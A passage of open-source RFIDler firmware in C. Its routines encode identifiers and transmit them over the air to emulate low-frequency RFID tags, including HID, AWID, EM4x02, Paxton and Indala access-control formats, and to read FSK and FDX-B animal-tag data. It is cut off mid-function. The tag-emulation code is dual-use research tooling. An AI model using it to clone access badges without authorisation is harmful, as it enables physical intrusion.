    "content": "/***************************************************************************\n * A copy of the GNU GPL is appended to this file.                         *\n *                                                                         *\n * This licence is based on the nmap licence, and we express our gratitude *\n * for the work that went into producing it. There is no other connection  *\n * between RFIDler and nmap either expressed or implied.                   *\n *                                                                         *\n ********************** IMPORTANT RFIDler LICENSE TERMS ********************\n *                                                                         *\n *                                                                         *\n * All references to RFIDler herein imply all it's derivatives, namely:    *\n *                                                                         *\n * o RFIDler-LF Standard                                                   *\n * o RFIDler-LF Lite                                                       *\n * o RFIDler-LF Nekkid                                                     *\n *                                                                         *\n *                                                                         *\n * RFIDler is (C) 2013-2014 Aperture Labs Ltd.                             *\n *                                                                         *\n * This program is free software; you may redistribute and/or modify it    *\n * under the terms of the GNU General Public License as published by the   *\n * Free Software Foundation; Version 2 (\"GPL\"), BUT ONLY WITH ALL OF THE   *\n * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN.  This guarantees your   *\n * right to use, modify, and redistribute this software under certain      *\n * conditions.  If you wish to embed RFIDler technology into proprietary   *\n * software or hardware, we sell alternative licenses                      *\n * (contact sales@aperturelabs.com).                                       *\n *                                                                         *\n * Note that the GPL places important restrictions on \"derivative works\",  *\n * yet it does not provide a detailed definition of that term.  To avoid   *\n * misunderstandings, we interpret that term as broadly as copyright law   *\n * allows.  For example, we consider an application to constitute a        *\n * derivative work for the purpose of this license if it does any of the   *\n * following with any software or content covered by this license          *\n * (\"Covered Software\"):                                                   *\n *                                                                         *\n * o Integrates source code from Covered Software.                         *\n *                                                                         *\n * o Is designed specifically to execute Covered Software and parse the    *\n * results (as opposed to typical shell or execution-menu apps, which will *\n * execute anything you tell them to).                                     *\n *                                                                         *\n * o Includes Covered Software in a proprietary executable installer.  The *\n * installers produced by InstallShield are an example of this.  Including *\n * RFIDler with other software in compressed or archival form does not     *\n * trigger this provision, provided appropriate open source decompression  *\n * or de-archiving software is widely available for no charge.  For the    *\n * purposes of this license, an installer is considered to include Covered *\n * Software even if it actually retrieves a copy of Covered Software from  *\n * another source during runtime (such as by downloading it from the       *\n * Internet).                                                              *\n *                                                                         *\n * o Links (statically or dynamically) to a library which does any of the  *\n * above.                                                                  *\n *                                                                         *\n * o Executes a helper program, module, or script to do any of the above.  *\n *                                                                         *\n * This list is not exclusive, but is meant to clarify our interpretation  *\n * of derived works with some common examples.  Other people may interpret *\n * the plain GPL differently, so we consider this a special exception to   *\n * the GPL that we apply to Covered Software.  Works which meet any of     *\n * these conditions must conform to all of the terms of this license,      *\n * particularly including the GPL Section 3 requirements of providing      *\n * source code and allowing free redistribution of the work as a whole.    *\n *                                                                         *\n * As another special exception to the GPL terms, Aperture Labs Ltd. grants*\n * permission to link the code of this program with any version of the     *\n * OpenSSL library which is distributed under a license identical to that  *\n * listed in the included docs/licenses/OpenSSL.txt file, and distribute   *\n * linked combinations including the two.                                  *\n *                                                                         *\n * Any redistribution of Covered Software, including any derived works,    *\n * must obey and carry forward all of the terms of this license, including *\n * obeying all GPL rules and restrictions.  For example, source code of    *\n * the whole work must be provided and free redistribution must be         *\n * allowed.  All GPL references to \"this License\", are to be treated as    *\n * including the terms and conditions of this license text as well.        *\n *                                                                         *\n * Because this license imposes special exceptions to the GPL, Covered     *\n * Work may not be combined (even as part of a larger work) with plain GPL *\n * software.  The terms, conditions, and exceptions of this license must   *\n * be included as well.  This license is incompatible with some other open *\n * source licenses as well.  In some cases we can relicense portions of    *\n * RFIDler or grant special permissions to use it in other open source     *\n * software.  Please contact sales@aperturelabs.com with any such requests.*\n * Similarly, we don't incorporate incompatible open source software into  *\n * Covered Software without special permission from the copyright holders. *\n *                                                                         *\n * If you have any questions about the licensing restrictions on using     *\n * RFIDler in other works, are happy to help.  As mentioned above, we also *\n * offer alternative license to integrate RFIDler into proprietary         *\n * applications and appliances.  These contracts have been sold to dozens  *\n * of software vendors, and generally include a perpetual license as well  *\n * as providing for priority support and updates.  They also fund the      *\n * continued development of RFIDler.  Please email sales@aperturelabs.com  *\n * for further information.                                                *\n * If you have received a written license agreement or contract for        *\n * Covered Software stating terms other than these, you may choose to use  *\n * and redistribute Covered Software under those terms instead of these.   *\n *                                                                         *\n * Source is provided to this software because we believe users have a     *\n * right to know exactly what a program is going to do before they run it. *\n * This also allows you to audit the software for security holes (none     *\n * have been found so far).                                                *\n *                                                                         *\n * Source code also allows you to port RFIDler to new platforms, fix bugs, *\n * and add new features.  You are highly encouraged to send your changes   *\n * to the RFIDler mailing list for possible incorporation into the         *\n * main distribution.  By sending these changes to Aperture Labs Ltd. or   *\n * one of the Aperture Labs Ltd. development mailing lists, or checking    *\n * them into the RFIDler source code repository, it is understood (unless  *\n * you specify otherwise) that you are offering the RFIDler Project        *\n * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse,       *\n * modify, and relicense the code.  RFIDler will always be available Open  *\n * Source, but this is important because the inability to relicense code   *\n * has caused devastating problems for other Free Software projects (such  *\n * as KDE and NASM).  We also occasionally relicense the code to third     *\n * parties as discussed above. If you wish to specify special license      *\n * conditions of your contributions, just say so when you send them.       *\n *                                                                         *\n * This program is distributed in the hope that it will be useful, but     *\n * WITHOUT ANY WARRANTY; without even the implied warranty of              *\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the RFIDler   *\n * license file for more details (it's in a COPYING file included with     *\n * RFIDler, and also available from                                        *\n *   https://github.com/ApertureLabsLtd/RFIDler/COPYING                    *\n *                                                                         *\n ***************************************************************************/\n\n// Author: Adam Laurie <adam@aperturelabs.com>\n\n\n\n#include \"HardwareProfile.h\"\n#include \"rfidler.h\"\n#include \"emulate.h\"\n#include \"unique.h\"\n#include \"paxton.h\"\n#include \"em.h\"\n#include \"indala.h\"\n#include \"ask.h\"\n#include \"fsk.h\"\n\nBOOL emulate_tag(unsigned char *UID)\n{\n    switch(RFIDlerConfig.TagType)\n    {\n       case TAG_TYPE_AWID_26:\n            if(!bcd_to_awid26_bin(TmpBuff, UID))\n                return FALSE;\n            return send_fsk_bin(TmpBuff, RFIDlerConfig.DataBits, RFIDlerConfig.FrameClock, RFIDlerConfig.DataRate, RFIDlerConfig.DataRateSub0, RFIDlerConfig.DataRateSub1, RFIDlerConfig.Repeat);\n\n        case TAG_TYPE_Q5:\n        case TAG_TYPE_EM4X02:\n            if(!hex_to_em4x02_bin(TmpBuff, UID))\n                return FALSE;\n            return send_ask_bin(TmpBuff, RFIDlerConfig.DataBits, RFIDlerConfig.FrameClock, RFIDlerConfig.DataRate, RFIDlerConfig.Repeat);\n\n        case TAG_TYPE_HID_26:\n            if(!bcd_to_hid26_bin(TmpBuff, UID))\n                return FALSE;\n            return send_fsk_bin(TmpBuff, RFIDlerConfig.DataBits, RFIDlerConfig.FrameClock, RFIDlerConfig.DataRate, RFIDlerConfig.DataRateSub0, RFIDlerConfig.DataRateSub1, RFIDlerConfig.Repeat);\n\n        case TAG_TYPE_FDXB:\n            if(!uid_to_fdxb_bin(TmpBuff, UID))\n                return FALSE;\n            return send_ask_bin(TmpBuff, RFIDlerConfig.DataBits, RFIDlerConfig.FrameClock, RFIDlerConfig.DataRate, RFIDlerConfig.Repeat);\n\n        // TODO\n        case TAG_TYPE_HDX:\n            if(!uid_to_hdx_bin(TmpBuff, UID))\n                return FALSE;\n            return FALSE;\n\n        case TAG_TYPE_UNIQUE:\n            if(!hex_to_unique_bin(TmpBuff, UID))\n                return FALSE;\n            return send_ask_bin(TmpBuff, RFIDlerConfig.DataBits, RFIDlerConfig.FrameClock, RFIDlerConfig.DataRate, RFIDlerConfig.Repeat);\n\n        case TAG_TYPE_PAXTON:\n            if(!hex_to_paxton_bin(TmpBuff, UID))\n                return FALSE;\n            return send_ask_bin(TmpBuff, RFIDlerConfig.DataBits, RFIDlerConfig.FrameClock, RFIDlerConfig.DataRate, RFIDlerConfig.Repeat);\n            \n        case TAG_TYPE_INDALA_64:\n        case TAG_TYPE_INDALA_224:\n            // how to generate indala hex from UID is unknown, so for now we will need to be fed RAW HEX\n            return send_indala_raw(UID);\n            \n        default:\n            return FALSE;\n    }\n    return TRUE;\n}\n\n\n\n"
  },
  {
    "path": "firmware/Pic32/RFIDler.X/src/fdxb.c",
    "content": "/***************************************************************************\n * A copy of the GNU GPL is appended to this file.                         *\n *                                                                         *\n * This licence is based on the nmap licence, and we express our gratitude *\n * for the work that went into producing it. There is no other connection  *\n * between RFIDler and nmap either expressed or implied.                   *\n *                                                                         *\n ********************** IMPORTANT RFIDler LICENSE TERMS ********************\n *                                                                         *\n *                                                                         *\n * All references to RFIDler herein imply all it's derivatives, namely:    *\n *                                                                         *\n * o RFIDler-LF Standard                                                   *\n * o RFIDler-LF Lite                                                       *\n * o RFIDler-LF Nekkid                                                     *\n *                                                                         *\n *                                                                         *\n * RFIDler is (C) 2013-2014 Aperture Labs Ltd.                             *\n *                                                                         *\n * This program is free software; you may redistribute and/or modify it    *\n * under the terms of the GNU General Public License as published by the   *\n * Free Software Foundation; Version 2 (\"GPL\"), BUT ONLY WITH ALL OF THE   *\n * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN.  This guarantees your   *\n * right to use, modify, and redistribute this software under certain      *\n * conditions.  If you wish to embed RFIDler technology into proprietary   *\n * software or hardware, we sell alternative licenses                      *\n * (contact sales@aperturelabs.com).                                       *\n *                                                                         *\n * Note that the GPL places important restrictions on \"derivative works\",  *\n * yet it does not provide a detailed definition of that term.  To avoid   *\n * misunderstandings, we interpret that term as broadly as copyright law   *\n * allows.  For example, we consider an application to constitute a        *\n * derivative work for the purpose of this license if it does any of the   *\n * following with any software or content covered by this license          *\n * (\"Covered Software\"):                                                   *\n *                                                                         *\n * o Integrates source code from Covered Software.                         *\n *                                                                         *\n * o Is designed specifically to execute Covered Software and parse the    *\n * results (as opposed to typical shell or execution-menu apps, which will *\n * execute anything you tell them to).                                     *\n *                                                                         *\n * o Includes Covered Software in a proprietary executable installer.  The *\n * installers produced by InstallShield are an example of this.  Including *\n * RFIDler with other software in compressed or archival form does not     *\n * trigger this provision, provided appropriate open source decompression  *\n * or de-archiving software is widely available for no charge.  For the    *\n * purposes of this license, an installer is considered to include Covered *\n * Software even if it actually retrieves a copy of Covered Software from  *\n * another source during runtime (such as by downloading it from the       *\n * Internet).                                                              *\n *                                                                         *\n * o Links (statically or dynamically) to a library which does any of the  *\n * above.                                                                  *\n *                                                                         *\n * o Executes a helper program, module, or script to do any of the above.  *\n *                                                                         *\n * This list is not exclusive, but is meant to clarify our interpretation  *\n * of derived works with some common examples.  Other people may interpret *\n * the plain GPL differently, so we consider this a special exception to   *\n * the GPL that we apply to Covered Software.  Works which meet any of     *\n * these conditions must conform to all of the terms of this license,      *\n * particularly including the GPL Section 3 requirements of providing      *\n * source code and allowing free redistribution of the work as a whole.    *\n *                                                                         *\n * As another special exception to the GPL terms, Aperture Labs Ltd. grants*\n * permission to link the code of this program with any version of the     *\n * OpenSSL library which is distributed under a license identical to that  *\n * listed in the included docs/licenses/OpenSSL.txt file, and distribute   *\n * linked combinations including the two.                                  *\n *                                                                         *\n * Any redistribution of Covered Software, including any derived works,    *\n * must obey and carry forward all of the terms of this license, including *\n * obeying all GPL rules and restrictions.  For example, source code of    *\n * the whole work must be provided and free redistribution must be         *\n * allowed.  All GPL references to \"this License\", are to be treated as    *\n * including the terms and conditions of this license text as well.        *\n *                                                                         *\n * Because this license imposes special exceptions to the GPL, Covered     *\n * Work may not be combined (even as part of a larger work) with plain GPL *\n * software.  The terms, conditions, and exceptions of this license must   *\n * be included as well.  This license is incompatible with some other open *\n * source licenses as well.  In some cases we can relicense portions of    *\n * RFIDler or grant special permissions to use it in other open source     *\n * software.  Please contact sales@aperturelabs.com with any such requests.*\n * Similarly, we don't incorporate incompatible open source software into  *\n * Covered Software without special permission from the copyright holders. *\n *                                                                         *\n * If you have any questions about the licensing restrictions on using     *\n * RFIDler in other works, are happy to help.  As mentioned above, we also *\n * offer alternative license to integrate RFIDler into proprietary         *\n * applications and appliances.  These contracts have been sold to dozens  *\n * of software vendors, and generally include a perpetual license as well  *\n * as providing for priority support and updates.  They also fund the      *\n * continued development of RFIDler.  Please email sales@aperturelabs.com  *\n * for further information.                                                *\n * If you have received a written license agreement or contract for        *\n * Covered Software stating terms other than these, you may choose to use  *\n * and redistribute Covered Software under those terms instead of these.   *\n *                                                                         *\n * Source is provided to this software because we believe users have a     *\n * right to know exactly what a program is going to do before they run it. *\n * This also allows you to audit the software for security holes (none     *\n * have been found so far).                                                *\n *                                                                         *\n * Source code also allows you to port RFIDler to new platforms, fix bugs, *\n * and add new features.  You are highly encouraged to send your changes   *\n * to the RFIDler mailing list for possible incorporation into the         *\n * main distribution.  By sending these changes to Aperture Labs Ltd. or   *\n * one of the Aperture Labs Ltd. development mailing lists, or checking    *\n * them into the RFIDler source code repository, it is understood (unless  *\n * you specify otherwise) that you are offering the RFIDler Project        *\n * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse,       *\n * modify, and relicense the code.  RFIDler will always be available Open  *\n * Source, but this is important because the inability to relicense code   *\n * has caused devastating problems for other Free Software projects (such  *\n * as KDE and NASM).  We also occasionally relicense the code to third     *\n * parties as discussed above. If you wish to specify special license      *\n * conditions of your contributions, just say so when you send them.       *\n *                                                                         *\n * This program is distributed in the hope that it will be useful, but     *\n * WITHOUT ANY WARRANTY; without even the implied warranty of              *\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the RFIDler   *\n * license file for more details (it's in a COPYING file included with     *\n * RFIDler, and also available from                                        *\n *   https://github.com/ApertureLabsLtd/RFIDler/COPYING                    *\n *                                                                         *\n ***************************************************************************/\n\n// Author: Adam Laurie <adam@aperturelabs.com>\n\n// ISO-11784/5 FDX-B as per http://www.webcitation.org/5fsCRL5Zz\n\n#include \"HardwareProfile.h\"\n#include \"fdxb.h\"\n#include \"ask.h\"\n#include \"rfidler.h\"\n#include \"util.h\"\n\nBOOL fdxb_get_uid(BYTE *response)\n{\n    return ask_raw_get_uid(response);\n}\n\n// convert human readable UID to 128 bit fdx-b HEX string\nBOOL uid_to_fdxb_hex(BYTE *hex, BYTE *uid)\n{\n    BYTE tmp[128];\n    if(!uid_to_fdxb_bin(tmp, uid))\n        return FALSE;\n\n   binarraytohex(hex, tmp, 128);\n   return TRUE;\n}\n\n// convert human readable UID to 128 bit fdx-b binary array\nBOOL uid_to_fdxb_bin(BYTE *bin, BYTE *uid)\n{\n    BYTE tmp1[64], crc[8], i;\n    unsigned int country, crctag;\n    unsigned long long id;\n\n    memset(tmp1, 0x00, 64);\n\n    // set animal flag\n    if(uid[0] == 'A')\n        tmp1[0]= 0x01;\n    else\n        if(uid[0] != '0')\n            return FALSE;\n\n    // set data flag\n    if(uid[1] == 'D')\n        tmp1[15]= 0x01;\n    else\n        if(uid[1] != '0')\n            return FALSE;\n\n    // set country code - 4 hex digits -> 10 bits\n    country= bcdtouint(uid + 2, 4);\n    inttobinarray(tmp1 + 16, country, 10);\n\n    // set national ID - 12 hex digits -> 38 bits\n    id= bcdtoulonglong(uid + 6, 12);\n    ulonglongtobinarray(tmp1 + 26, id, 38);\n\n    // reverse binary\n    string_reverse(tmp1, 64);\n\n    // add header for over-the-air: 10 x 0x00 + 0x01\n    memset(bin, 0x00, 10);\n\n    // every 9th bit is 0x01, but we can just fill the rest with 0x01 and overwrite\n    memset(bin + 10, 0x01, 118);\n\n    //data is 8 blocks of 8 bits, plus obfuscation bit\n    for(i= 0 ; i < 8 ; ++i)\n        memcpy(bin + 11 + i * 9, tmp1 + i * 8, 8);\n\n    // calculate & append crc for 64 bits of data\n    for(i= 0 ; i < 8 ; ++i)\n        crc[i]= (BYTE) binarraytoint(tmp1 + i * 8, 8);\n    crctag= crc_ccitt(crc, 8);\n    inttobinarray(bin + 83, crctag >> 8, 8);\n    inttobinarray(bin + 92, crctag, 8);\n\n    // add trailer\n    for(i= 0 ; i < 3 ; ++i)\n        memset(bin + 101 + i * 9, 0x00, 8);\n\n    return TRUE;\n}\n\n// convert fdxb 128 bit binary array to human readable UID\n// format is ADCCCCIIIIIIIIIIII where A is 'A' or '0' for animal / non-animal,\n// D is 'D' or '0' for Data block available / No data available, \n// CCCC is ISO-3166 country code or ICAR.ORG manufacturer code\n// IIIIIIIIIIII is national ID\nBOOL fdxb_hex_to_uid(BYTE *uid, BYTE *hex)\n{\n    BYTE tmp[128];\n    unsigned int country;\n    unsigned long long id;\n\n\n    // strip headers etc.\n    if(!fdxb_hex_to_bin(tmp, hex))\n        return FALSE;\n\n    // reverse binary\n    string_reverse(tmp, 64);\n\n    // output animal flag\n    if(tmp[0])\n        uid[0]= 'A';\n    else\n        uid[0]= '0';\n\n    // output data flag\n    if(tmp[15])\n        uid[1]= 'D';\n    else\n        uid[1]= '0';\n\n    // output country/icar code\n    country= binarraytoint(&tmp[16], 10);\n    sprintf(&uid[2], \"%04u\", country);\n\n    // output national ID\n    id= binarraytoulonglong(&tmp[26], 38);\n    sprintf(&uid[6], \"%012llu\", id);\n\n    return TRUE;\n}\n\n// convert 32 hex digit/128 bit FDXB ID to 64 bit raw UID\n// safe to do in-place as we use a scratchpad\nBOOL fdxb_hex_to_bin(BYTE *response, BYTE *fdxb)\n{\n    BYTE i, crc_check[8], trailer[9]= {0,0,0,0,0,0,0,0,1}, tmp[128];\n    unsigned int crctag;\n\n    hextobinarray(tmp, fdxb);\n\n    // check header - should be 10 x 0x00 + 0x01\n    for(i= 0 ; i < 10 ; ++i)\n        if(tmp[i] != 0x00)\n            return FALSE;\n    if(tmp[10] != 0x01)\n        return FALSE;\n\n    // check CRC\n    // calculate crc for 64 bits of data (8 blocks of 8 plus obfuscation bit)\n    for(i= 0 ; i < 8 ; ++i)\n        crc_check[i]= (BYTE) binarraytoint(tmp + 11 + i * 9, 8);\n    // stored crc (2 x 8 + 1) is at offset 83 (11 + 64 + 8)\n    crctag= binarraytoint(tmp + 83, 8) << 8;\n    crctag += binarraytoint(tmp + 92, 8);\n    if (crctag != crc_ccitt(crc_check, 8))\n        return FALSE;\n\n    // check trailer - '000000001' x 3 at offset 101\n    for(i= 0 ; i < 3 ; ++i)\n        if(memcmp(tmp + 101 + i * 9, trailer, 9) != 0)\n            return FALSE;\n\n    // data is 8 blocks of 8 bits, plus obfuscation bit so check and strip every 9th bit\n    for(i= 0 ; i < 8 ; ++i)\n    {\n        if(tmp[11 + ((i + 1) * 9) - 1] != 0x01)\n            return FALSE;\n        memcpy(response + i * 8, tmp + 11 + (i * 9), 8);\n    }\n\n    return TRUE;\n}\n"
  },
  {
    "path": "firmware/Pic32/RFIDler.X/src/fsk.c",
    "content": "/***************************************************************************\n * A copy of the GNU GPL is appended to this file.                         *\n *                                                                         *\n * This licence is based on the nmap licence, and we express our gratitude *\n * for the work that went into producing it. There is no other connection  *\n * between RFIDler and nmap either expressed or implied.                   *\n *                                                                         *\n ********************** IMPORTANT RFIDler LICENSE TERMS ********************\n *                                                                         *\n *                                                                         *\n * All references to RFIDler herein imply all it's derivatives, namely:    *\n *                                                                         *\n * o RFIDler-LF Standard                                                   *\n * o RFIDler-LF Lite                                                       *\n * o RFIDler-LF Nekkid                                                     *\n *                                                                         *\n *                                                                         *\n * RFIDler is (C) 2013-2014 Aperture Labs Ltd.                             *\n *                                                                         *\n * This program is free software; you may redistribute and/or modify it    *\n * under the terms of the GNU General Public License as published by the   *\n * Free Software Foundation; Version 2 (\"GPL\"), BUT ONLY WITH ALL OF THE   *\n * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN.  This guarantees your   *\n * right to use, modify, and redistribute this software under certain      *\n * conditions.  If you wish to embed RFIDler technology into proprietary   *\n * software or hardware, we sell alternative licenses                      *\n * (contact sales@aperturelabs.com).                                       *\n *                                                                         *\n * Note that the GPL places important restrictions on \"derivative works\",  *\n * yet it does not provide a detailed definition of that term.  To avoid   *\n * misunderstandings, we interpret that term as broadly as copyright law   *\n * allows.  For example, we consider an application to constitute a        *\n * derivative work for the purpose of this license if it does any of the   *\n * following with any software or content covered by this license          *\n * (\"Covered Software\"):                                                   *\n *                                                                         *\n * o Integrates source code from Covered Software.                         *\n *                                                                         *\n * o Is designed specifically to execute Covered Software and parse the    *\n * results (as opposed to typical shell or execution-menu apps, which will *\n * execute anything you tell them to).                                     *\n *                                                                         *\n * o Includes Covered Software in a proprietary executable installer.  The *\n * installers produced by InstallShield are an example of this.  Including *\n * RFIDler with other software in compressed or archival form does not     *\n * trigger this provision, provided appropriate open source decompression  *\n * or de-archiving software is widely available for no charge.  For the    *\n * purposes of this license, an installer is considered to include Covered *\n * Software even if it actually retrieves a copy of Covered Software from  *\n * another source during runtime (such as by downloading it from the       *\n * Internet).                                                              *\n *                                                                         *\n * o Links (statically or dynamically) to a library which does any of the  *\n * above.                                                                  *\n *                                                                         *\n * o Executes a helper program, module, or script to do any of the above.  *\n *                                                                         *\n * This list is not exclusive, but is meant to clarify our interpretation  *\n * of derived works with some common examples.  Other people may interpret *\n * the plain GPL differently, so we consider this a special exception to   *\n * the GPL that we apply to Covered Software.  Works which meet any of     *\n * these conditions must conform to all of the terms of this license,      *\n * particularly including the GPL Section 3 requirements of providing      *\n * source code and allowing free redistribution of the work as a whole.    *\n *                                                                         *\n * As another special exception to the GPL terms, Aperture Labs Ltd. grants*\n * permission to link the code of this program with any version of the     *\n * OpenSSL library which is distributed under a license identical to that  *\n * listed in the included docs/licenses/OpenSSL.txt file, and distribute   *\n * linked combinations including the two.                                  *\n *                                                                         *\n * Any redistribution of Covered Software, including any derived works,    *\n * must obey and carry forward all of the terms of this license, including *\n * obeying all GPL rules and restrictions.  For example, source code of    *\n * the whole work must be provided and free redistribution must be         *\n * allowed.  All GPL references to \"this License\", are to be treated as    *\n * including the terms and conditions of this license text as well.        *\n *                                                                         *\n * Because this license imposes special exceptions to the GPL, Covered     *\n * Work may not be combined (even as part of a larger work) with plain GPL *\n * software.  The terms, conditions, and exceptions of this license must   *\n * be included as well.  This license is incompatible with some other open *\n * source licenses as well.  In some cases we can relicense portions of    *\n * RFIDler or grant special permissions to use it in other open source     *\n * software.  Please contact sales@aperturelabs.com with any such requests.*\n * Similarly, we don't incorporate incompatible open source software into  *\n * Covered Software without special permission from the copyright holders. *\n *                                                                         *\n * If you have any questions about the licensing restrictions on using     *\n * RFIDler in other works, are happy to help.  As mentioned above, we also *\n * offer alternative license to integrate RFIDler into proprietary         *\n * applications and appliances.  These contracts have been sold to dozens  *\n * of software vendors, and generally include a perpetual license as well  *\n * as providing for priority support and updates.  They also fund the      *\n * continued development of RFIDler.  Please email sales@aperturelabs.com  *\n * for further information.                                                *\n * If you have received a written license agreement or contract for        *\n * Covered Software stating terms other than these, you may choose to use  *\n * and redistribute Covered Software under those terms instead of these.   *\n *                                                                         *\n * Source is provided to this software because we believe users have a     *\n * right to know exactly what a program is going to do before they run it. *\n * This also allows you to audit the software for security holes (none     *\n * have been found so far).                                                *\n *                                                                         *\n * Source code also allows you to port RFIDler to new platforms, fix bugs, *\n * and add new features.  You are highly encouraged to send your changes   *\n * to the RFIDler mailing list for possible incorporation into the         *\n * main distribution.  By sending these changes to Aperture Labs Ltd. or   *\n * one of the Aperture Labs Ltd. development mailing lists, or checking    *\n * them into the RFIDler source code repository, it is understood (unless  *\n * you specify otherwise) that you are offering the RFIDler Project        *\n * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse,       *\n * modify, and relicense the code.  RFIDler will always be available Open  *\n * Source, but this is important because the inability to relicense code   *\n * has caused devastating problems for other Free Software projects (such  *\n * as KDE and NASM).  We also occasionally relicense the code to third     *\n * parties as discussed above. If you wish to specify special license      *\n * conditions of your contributions, just say so when you send them.       *\n *                                                                         *\n * This program is distributed in the hope that it will be useful, but     *\n * WITHOUT ANY WARRANTY; without even the implied warranty of              *\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the RFIDler   *\n * license file for more details (it's in a COPYING file included with     *\n * RFIDler, and also available from                                        *\n *   https://github.com/ApertureLabsLtd/RFIDler/COPYING                    *\n *                                                                         *\n ***************************************************************************/\n\n// Author: Adam Laurie <adam@aperturelabs.com>\n\n\n#include \"HardwareProfile.h\"\n#include \"rfidler.h\"\n#include \"USB/usb.h\"\n#include \"util.h\"\n#include \"fsk.h\"\n#include \"emulate.h\"\n#include \"clock.h\"\n\nBOOL send_fsk_hex(unsigned char *data, unsigned long pulsewidth, unsigned int cpb, unsigned int c0, unsigned int c1, unsigned int repeat)\n{\n    unsigned int length;\n\n    if(!(length= hextobinarray(TmpBits, data)))\n        return 0;\n    // manchester encoding with FSK is not done in the baseband, so pre-encode\n    if(RFIDlerConfig.Manchester)\n        length= manchester_encode(TmpBits, TmpBits, length);\n    return send_fsk_bin(TmpBits, length, pulsewidth, cpb, c0, c1, repeat);\n}\n\nBOOL send_fsk_bin(unsigned char *data, unsigned int length, unsigned long pulsewidth, unsigned int cpb, unsigned int c0, unsigned int c1, unsigned int repeat)\n{\n    // terminate for transmission\n    memcpy(TmpBits, data, length);\n    TmpBits[length]= '*';\n    // note we convert clocks (period) to ticks\n    write_FSK_HW_clock(pulsewidth / 2L, TmpBits, cpb * 2, c0, c1, repeat);\n    return TRUE;\n}\n\n// h/w clock FSK emulator - initialise data pointers for ISR and start timer 2\n// args: clock pulsewidth (NOT period!), data as array of 0/1, T0 sub-carrier ticks, T1 sub-carrier ticks, repeat\nvoid write_FSK_HW_clock(unsigned long pulse, BYTE *data, unsigned int tpb, unsigned int t0, unsigned int t1, unsigned int repeat)\n{\n    // convert to ticks\n    pulse= CONVERT_TO_TICKS(pulse);\n\n    // point globals at data for ISR\n    EMU_ThisBit= *data;\n    EMU_Data= data + 1;\n    EMU_Reset_Data= data;\n    EMU_Repeat= repeat;\n    EMU_DataBitRate= tpb;\n    EMU_SubCarrier_T0= t0;\n    EMU_SubCarrier_T1= t1;\n\n    // set mode (any FSK mode will do, as sub-carriers are set seperately)\n    EmulationMode= MOD_MODE_FSK1;\n\n    // make sure no clock is running\n    stop_HW_clock();\n\n    // make sure nobody's using our timer\n    CloseTimer3();\n\n    // emulator mode\n    COIL_MODE_EMULATOR();\n\n    // tri-state on, clock low\n    READER_CLOCK_ENABLE_ON();\n    CLOCK_COIL= LOW;\n\n    // this is also a semaphore so the rest of the code knows we're running\n    mLED_Emulate_On();\n\n    // start timer - ISR will send data\n    OpenTimer3( T3_ON | T3_PS_1_1 | T3_SOURCE_INT, pulse - 1L);\n    mT3SetIntPriority(6);\n    mT3ClearIntFlag();\n    mT3IntEnable(TRUE);\n}\n\n\n// return raw HEX UID\nBOOL fsk_raw_get_uid(BYTE *response, BOOL oneshot)\n{\n    unsigned int i;\n    BOOL blank= TRUE;\n    BYTE tmp[MAXUID + 1];\n\n    memset(tmp, '0', MAXUID);\n    tmp[MAXUID]= '\\0';\n    \n    if (read_fsk_data(RFIDlerConfig.FrameClock, RFIDlerConfig.DataRate, RFIDlerConfig.DataRateSub0, RFIDlerConfig.DataRateSub1, tmp, RFIDlerConfig.DataBits, RFIDlerConfig.Invert, RFIDlerConfig.Sync, RFIDlerConfig.SyncBits, RFIDlerConfig.Timeout, oneshot, HEX) != RFIDlerConfig.DataBits)\n        return FALSE;\n    \n    for(i= 0 ; i < strlen(tmp) ; ++i)\n        if(tmp[i] != '0')\n            blank= FALSE;\n    if (blank)\n        return FALSE;\n\n    strcpy(response, tmp);\n    return TRUE;\n}\n\n// specify oneshot if data is not repeated (i.e. in response to a command rather than a cycling UID)\nunsigned int read_fsk_data(unsigned int period_us, unsigned int ticks, unsigned int t0_ticks, unsigned int t1_ticks, BYTE *data, unsigned int bits, BOOL invert, unsigned char *sync, unsigned char syncbits, unsigned int timeout_us, BOOL oneshot, BYTE format)\n{\n    unsigned int i= 0, j;\n    BYTE found= 0, repeat;\n\n    if(oneshot)\n        repeat= 1;\n    else\n        repeat= 2;\n\n    // if we're not doing a 1-shot read, we can grab double the data to allow for sync search\n    if(!read_FSK_HW_clock(period_us, ticks, TmpBits, bits * repeat, timeout_us))\n        return 0;\n\n    if(FakeRead)\n        return 0;\n\n    // reset timer\n    if(timeout_us)\n        GetTimer_us(RESET);\n    \n    // wait for semaphore to tell us read has finished\n    while(mLED_Read == mLED_ON)\n        if(timeout_us)\n            if (GetTimer_us(NO_RESET) > timeout_us)\n                return 0;\n\n    // convert to standard binary\n    if(!fskbinarraytobinarray(TmpBits, TmpBits, bits * repeat, (t0_ticks > t1_ticks) ^ invert))\n        return 0;\n\n    // find start of data\n    if(syncbits)\n    {\n        for(i= j= found= 0 ; i < bits * repeat ; ++i)\n        {\n            if(TmpBits[i] == getbit(sync[j / 8], 7 - (j % 8)))\n                ++j;\n            else\n            {\n                i -= j;\n                j= 0;\n            }\n\n            if(j == syncbits)\n            {\n                found= 1;\n                break;\n            }\n        }\n        if(!found)\n            return 0;\n\n        // point at start of sync\n        i -= syncbits - 1;\n    }\n\n    // copy to output buffer\n    switch(format)\n    {\n        case HEX:\n            return binarraytohex(data, TmpBits + i, bits);\n\n        case BINARY:\n        default:\n            memcpy(data, TmpBits + i, bits);\n            data[bits]= '\\0';\n            return bits;\n    }\n}\n\n// nothing to do!\nBOOL fsk_raw_hex_to_uid(BYTE *response, BYTE *hex)\n{\n    strcpy(response, hex);\n    return TRUE;\n}\n\n\n// low level read routines\n\n// h/w clock reader - initialise data pointers for ISR and start timers\n// timer2 creates clock output for external reader\n// timer4 reads data bit values\n// period_us == clock for reader\n// ticks == clock periods per bit\n// bits == number of bits to read\n// min_pulse_us == minimum external reader pulswidth for a 'good' read, 0 for read 'anything'\n\nBOOL read_FSK_HW_clock(unsigned int period, unsigned int ticks, BYTE *data, unsigned int bits, unsigned int timeout_us)\n{\n    unsigned int gaplength;\n    BYTE 